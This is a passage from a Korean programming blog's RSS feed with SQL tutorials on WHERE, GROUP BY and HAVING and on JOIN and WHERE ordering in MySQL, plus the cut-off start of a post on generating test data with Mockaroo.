&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서는 세 절을 함께 사용하는 경우가 많습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;WHERE&quot;로 우선 불필요한 데이터를 줄이고&lt;/li&gt;
&lt;li&gt;&quot;GROUP BY&quot;로 그룹핑한 후&lt;/li&gt;
&lt;li&gt;&quot;HAVING&quot;으로 그룹 결과에 조건을 걸어 최종 데이터를 필터링합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
WHERE city IN ('Seoul', 'Busan')
GROUP BY city
HAVING cnt &amp;gt;= 2;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 Seoul과 Busan을 대상으로, 인원이 2명 이상인 도시만 보여줍니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;구문 비교표&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구문&lt;/th&gt;
&lt;th&gt;동작 시점&lt;/th&gt;
&lt;th&gt;주 사용 목적&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WHERE&lt;/td&gt;
&lt;td&gt;그룹핑 전&lt;/td&gt;
&lt;td&gt;개별 레코드 필터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GROUP BY&lt;/td&gt;
&lt;td&gt;그룹핑&lt;/td&gt;
&lt;td&gt;집계 데이터 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HAVING&lt;/td&gt;
&lt;td&gt;그룹핑 후&lt;/td&gt;
&lt;td&gt;그룹 결과 필터링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;예제&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;GROUP BY만 사용하는 예제&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
GROUP BY city;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;GROUP BY와 HAVING을 사용하는 예제&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
GROUP BY city
HAVING cnt &amp;gt;= 2;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;WHERE, GROUP BY, HAVING을 함께 사용하는 예제&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
WHERE city IN ('Seoul', 'Busan')
GROUP BY city
HAVING cnt &amp;gt;= 2;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석 예시:&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;-- city별로 그룹핑 후, 인원수가 2명 이상인 도시만 출력&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;중급자를 위한 예제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 매출 데이터를 다루는 좀 더 복잡한 예제입니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT region,
       SUM(CASE WHEN product_category = 'Electronics' THEN amount ELSE 0 END) AS electronics_sales,
       COUNT(*) AS total_orders
FROM orders
WHERE order_date &amp;gt;= '2024-01-01'
GROUP BY region
HAVING SUM(amount) &amp;gt; 100000;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 2024년 이후 주문 데이터를 대상으로 지역별 매출 합계를 계산하고, 그중 매출이 10만 원 이상인 지역만 출력합니다. HAVING 절은 그룹핑 후 조건을 걸기 때문에 전체 그룹 결과를 필터링할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;중급자를 위한 예제2&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 복잡한 비즈니스 로직을 다루는 상급자용 예제입니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT customer_id,
       SUM(order_amount) AS total_sales,
       AVG(order_amount) AS avg_order,
       COUNT(*) AS order_count
FROM orders
WHERE order_status IN ('COMPLETED', 'SHIPPED')
  AND YEAR(order_date) = 2024
GROUP BY customer_id
HAVING COUNT(*) &amp;gt; 5 AND AVG(order_amount) &amp;gt; 500;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 2024년에 완료되거나 배송된 주문 중에서, 5회 이상 주문했고 평균 주문 금액이 500 이상인 고객만 찾아냅니다. 상급자용으로 WHERE, GROUP BY, HAVING을 복합 조건으로 사용하는 예제입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/group-by-handling.html&quot;&gt;https://dev.mysql.com/doc/refman/8.0/en/group-by-handling.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3schools.com/sql/sql_groupby.asp&quot;&gt;https://www.w3schools.com/sql/sql_groupby.asp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GROUP BY, WHERE, HAVING의 차이를 제대로 이해하면 &lt;b&gt;데이터 분석과 리포트 작성&lt;/b&gt;에서 훨씬 더 효과적으로 SQL을 사용할 수 있습니다. 중요한 것은 &quot;언제 조건을 적용하느냐&quot;를 명확히 아는 것입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Programing/SQL</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/510</guid>
      <comments>https://eyecandyzero.tistory.com/510#entry510comment</comments>
      <pubDate>Thu, 3 Jul 2025 07:40:24 +0900</pubDate>
    </item>
    <item>
      <title>WHERE 절과 JOIN에서의 쿼리 순서, 정말 중요할까?</title>
      <link>https://eyecandyzero.tistory.com/509</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 30일 오전 05_28_41 (1).jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bThSH2/btsOXhY55FW/WI4K4KYfOhxm9IUcjlvIA0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bThSH2/btsOXhY55FW/WI4K4KYfOhxm9IUcjlvIA0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bThSH2/btsOXhY55FW/WI4K4KYfOhxm9IUcjlvIA0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbThSH2%2FbtsOXhY55FW%2FWI4K4KYfOhxm9IUcjlvIA0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;400&quot; data-filename=&quot;ChatGPT Image 2025년 6월 30일 오전 05_28_41 (1).jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JOIN 순서와 WHERE 조건 순서, 성능에 영향 있을까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL을 다루다 보면 자주 듣게 되는 이야기 중 하나가 &quot;JOIN 순서나 WHERE 조건의 순서가 쿼리 성능에 영향을 준다&quot;는 말입니다. 초보자들이 이 부분에서 혼란을 겪는 이유는, 실제로 눈으로 보이는 SQL 작성 순서와 &lt;b&gt;DB 엔진 내부에서 처리되는 순서가 다르기 때문&lt;/b&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 JOIN과 WHERE 절의 순서가 정말 성능에 얼마나 영향을 주는지, 실무에서 어떤 점을 고려해야 하는지를 살펴보겠습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SQL 실행 순서 이해하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 개발자들이 SQL 쿼리를 작성할 때 SELECT 문을 위에서 아래로 순차적으로 읽습니다. 하지만 DB가 SQL을 처리하는 논리적 순서는 다음과 같습니다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;FROM &amp;rarr; JOIN &amp;rarr; WHERE &amp;rarr; GROUP BY &amp;rarr; HAVING &amp;rarr; SELECT &amp;rarr; ORDER BY&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 순서를 &quot;Logical Query Processing Phase&quot;라고 부르며, 이는 &lt;b&gt;논리적인 처리 순서&lt;/b&gt;일 뿐 실제 엔진이 데이터를 읽고 필터링하는 순서는 옵티마이저의 판단에 따라 달라질 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, DBMS는 효율을 위해 &lt;b&gt;JOIN 순서를 재배열하거나 WHERE 조건 평가 순서를 바꿀 수 있다는 것&lt;/b&gt;이 핵심입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JOIN 순서가 미치는 영향&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;INNER JOIN vs OUTER JOIN&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;INNER JOIN&lt;/b&gt;은 어느 테이블을 먼저 조회하든 결과가 동일합니다. 하지만 &lt;b&gt;처리 비용&lt;/b&gt;은 달라질 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;OUTER JOIN&lt;/b&gt;은 순서가 중요합니다. LEFT OUTER JOIN에서 왼쪽 테이블이 먼저 기준이 되므로, 쿼리 결과가 달라질 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Cardinality와 쿼리 최적화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;카디널리티(Cardinality)&quot;는 특정 조건으로 필터링했을 때 남는 &lt;b&gt;데이터 건수의 수&lt;/b&gt;를 의미합니다. 카디널리티가 낮을수록(데이터가 적을수록) JOIN 시 부담이 적어지므로, 옵티마이저는 보통 &lt;b&gt;적은 레코드를 반환하는 테이블부터 먼저 읽는 전략&lt;/b&gt;을 선호합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실제로 순서가 중요한가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 같은 RDBMS는 대부분 옵티마이저가 &lt;b&gt;JOIN 순서를 자동으로 조정&lt;/b&gt;합니다. 그러나 다음과 같은 상황에서는 작성 순서가 영향을 미칠 수 있습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FORCE INDEX, STRAIGHT_JOIN 등을 사용해 순서를 고정한 경우&lt;/li&gt;
&lt;li&gt;OUTER JOIN으로 인해 테이블 순서가 논리적으로 강제되는 경우&lt;/li&gt;
&lt;li&gt;통계 정보가 부정확할 때 옵티마이저가 잘못된 계획을 선택할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;WHERE 절 순서의 오해&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 개발자들이 WHERE 절 내 조건 순서가 쿼리 성능에 직접적인 영향을 미친다고 오해하곤 합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;WHERE 순서로 결과가 바뀔까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답은 &quot;아니오&quot;입니다. WHERE 조건의 순서는 &lt;b&gt;논리적으로 AND 연산이기 때문에&lt;/b&gt; 결과를 바꾸지 않습니다. 하지만 조건별로 비용이 다를 수 있고, 옵티마이저는 더 효율적인 조건부터 먼저 평가하려 시도합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실행 계획(Execution Plan)에서의 WHERE 처리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 계획에서 WHERE 절은 &lt;b&gt;access condition&lt;/b&gt; 혹은 &lt;b&gt;filter condition&lt;/b&gt;으로 나뉘어 분석됩니다. 인덱스가 활용되는 조건은 access condition으로 표시되며, 나머지는 filter 단계에서 처리됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;WHERE 조건 분리 시 주의사항&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OR 조건이 포함되면 쿼리 최적화가 어려워질 수 있습니다.&lt;/li&gt;
&lt;li&gt;서브쿼리를 사용하는 조건은 옵티마이저가 재작성하기 전까지 독립적으로 실행되기 때문에 예측과 다를 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전 예제: 순서만 바꾼 쿼리 비교&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 조건이라도 작성 순서를 달리한 두 쿼리를 비교해보겠습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제 1: 순서 A&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;SELECT SQL_NO_CACHE *
FROM users u
INNER JOIN orders o ON u.user_id = o.user_id
WHERE u.gender = 'Female' AND o.status = '1';&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스샷 34.png&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwdHpX/btsOWk9THV5/7fF1OFCiQgNmSzdiuzFvKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwdHpX/btsOWk9THV5/7fF1OFCiQgNmSzdiuzFvKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwdHpX/btsOWk9THV5/7fF1OFCiQgNmSzdiuzFvKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwdHpX%2FbtsOWk9THV5%2F7fF1OFCiQgNmSzdiuzFvKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;288&quot; data-filename=&quot;스샷 34.png&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제 2: 순서 B&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;SELECT SQL_NO_CACHE *
FROM orders o
INNER JOIN users u ON u.user_id = o.user_id
WHERE o.status = '1' AND u.gender = 'Female';&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스샷 35.png&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ0zy7/btsOWGZaCby/ukAhaJBhiVKFosJIT9PKnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ0zy7/btsOWGZaCby/ukAhaJBhiVKFosJIT9PKnK/img.png&quot; data-alt=&quot;조인 순서에 따른 속도 차이를 제외하고 where 순서에 따른 속도 차이는 영향이 거의 없다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ0zy7/btsOWGZaCby/ukAhaJBhiVKFosJIT9PKnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ0zy7%2FbtsOWGZaCby%2FukAhaJBhiVKFosJIT9PKnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;292&quot; data-filename=&quot;스샷 35.png&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;조인 순서에 따른 속도 차이를 제외하고 where 순서에 따른 속도 차이는 영향이 거의 없다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 다 결과는 동일하지만, 옵티마이저가 각 테이블의 카디널리티를 고려하여 &lt;b&gt;JOIN 순서를 재조정할 수 있습니다.&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;EXPLAIN으로 확인하기&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;EXPLAIN SELECT *
FROM users u
INNER JOIN orders o ON u.user_id = o.user_id
WHERE u.gender = 'Female' AND o.status = '1';&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;key 컬럼: 사용된 인덱스 정보&lt;/li&gt;
&lt;li&gt;rows 컬럼: 각 테이블에서 예상되는 레코드 수&lt;/li&gt;
&lt;li&gt;Extra 컬럼: 추가적인 정보 (e.g., Using where)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 정보를 통해 &lt;b&gt;옵티마이저가 실제 어떤 순서로 데이터를 탐색하는지 파악&lt;/b&gt;할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;최적화를 위한 권장 사항&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로 &lt;b&gt;JOIN이나 WHERE 절의 작성 순서가 반드시 성능을 결정짓는 것은 아닙니다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;옵티마이저가 대부분 순서를 최적화하므로 작성 순서에 과도하게 집착할 필요는 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;u&gt;하지만 데이터의 분포, 카디널리티, 인덱스 활용 여부를 고려해 &lt;b&gt;효율적인 조건 배치&lt;/b&gt;를 고민해야 합니다.&lt;/u&gt;&lt;/li&gt;
&lt;li&gt;ORM 사용 시 쿼리 생성 로직이 옵티마이저의 자유도를 제한할 수 있으니 주의가 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;예제 코드 정리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;JOIN + WHERE 예제&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;SELECT u.id, u.name, o.amount
FROM users u
INNER JOIN orders o ON u.id = o.user_id
WHERE u.gender = 'Female'
  AND o.status = '1';&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;EXPLAIN 해석 예시&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;EXPLAIN SELECT u.id, u.name, o.amount
FROM users u
INNER JOIN orders o ON u.id = o.user_id
WHERE u.gender = 'Female'
  AND o.status = '1';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석으로 각 컬럼의 의미를 기록해두면 실무에서 디버깅할 때 큰 도움이 됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/explain-output.html&quot;&gt;https://dev.mysql.com/doc/refman/8.0/en/explain-output.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/259&quot;&gt;속도 측정을 위한 SQL_NO_CACHE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/508&quot;&gt;Mockaroo로 대용량 테스트 데이터 쉽게 생성하기&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/SQL</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/509</guid>
      <comments>https://eyecandyzero.tistory.com/509#entry509comment</comments>
      <pubDate>Mon, 30 Jun 2025 05:32:19 +0900</pubDate>
    </item>
    <item>
      <title>Mockaroo로 대용량 테스트 데이터 쉽게 생성하기</title>
      <link>https://eyecandyzero.tistory.com/508</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 30일 오전 04_35_32.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K9mFl/btsOXg60ayl/ZBKjnMz2V4ZXIqO5kkErk0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K9mFl/btsOXg60ayl/ZBKjnMz2V4ZXIqO5kkErk0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K9mFl/btsOXg60ayl/ZBKjnMz2V4ZXIqO5kkErk0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK9mFl%2FbtsOXg60ayl%2FZBKjnMz2V4ZXIqO5kkErk0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;400&quot; data-filename=&quot;ChatGPT Image 2025년 6월 30일 오전 04_35_32.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;테스트 데이터, 왜 중요한가요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플리케이션 개발, QA, 시연, 혹은 로드 테스트를 하다 보면 반드시 필요한 것이 있습니다. 바로 &quot;테스트 데이터&quot;입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발 단계에서 더미 데이터를 이용하면 화면과 기능을 실제처럼 검증할 수 있습니다.&lt;/li&gt;
&lt;li&gt;QA에서는 다양한 시나리오를 반복적으로 점검해야 하므로 &lt;b&gt;대량의 가상 데이터&lt;/b&gt;가 필요합니다.&lt;/li&gt;
&lt;li&gt;클라이언트에게 시연하거나 성능 부하 테스트를 할 때도 &lt;b&gt;실제와 비슷한 데이터&lt;/b&gt;가 있어야 신뢰성이 높아집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 직접 가상의 데이터를 일일이 작성하기는 번거롭고 시간도 많이 소요됩니다. 이런 때 유용하게 활용할 수 있는 도구가 바로 &quot;&lt;b&gt;Mockaroo&lt;/b&gt;&quot;입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Mockaroo란 무엇인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.mockaroo.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mockaroo&lt;/a&gt;는 웹 기반의 &lt;b&gt;데이터 생성 서비스&lt;/b&gt;입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회원가입 없이도 무료로 최대 1,000개의 행(Row)을 생성할 수 있습니다.&lt;/li&gt;
&lt;li&gt;유료 플랜으로 업그레이드하면 더 많은 데이터, API 호출 횟수 증가, 팀 협업 등의 기능을 사용할 수 있습니다.&lt;/li&gt;
&lt;li&gt;다양한 데이터 타입, 포맷, 커스텀 로직을 지원하여 실제 환경과 유사한 테스트 데이터를 손쉽게 만들 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;데이터 생성 과정 살펴보기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Mockaroo를 이용하면 데이터를 쉽게 만들 수 있으면서도, 원하는 형태로 다양하게 설정할 수 있어 활용도가 높습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스샷 33.png&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;613&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCsba8/btsOWNDYbUJ/jYMatM3lekwgj6e6Tx2kU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCsba8/btsOWNDYbUJ/jYMatM3lekwgj6e6Tx2kU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCsba8/btsOWNDYbUJ/jYMatM3lekwgj6e6Tx2kU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCsba8%2FbtsOWNDYbUJ%2FjYMatM3lekwgj6e6Tx2kU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;928&quot; height=&quot;613&quot; data-filename=&quot;스샷 33.png&quot; data-origin-width=&quot;928&quot; data-origin-height=&quot;613&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Column 추가하기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;화면에서 &amp;ldquo;Add another field&amp;rdquo; 버튼을 눌러 컬럼을 추가할 수 있습니다.&lt;/li&gt;
&lt;li&gt;각 컬럼 이름을 직접 입력하며, 가상 데이터 생성 규칙을 설정할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 데이터 타입 선택하기&lt;/h3&gt;
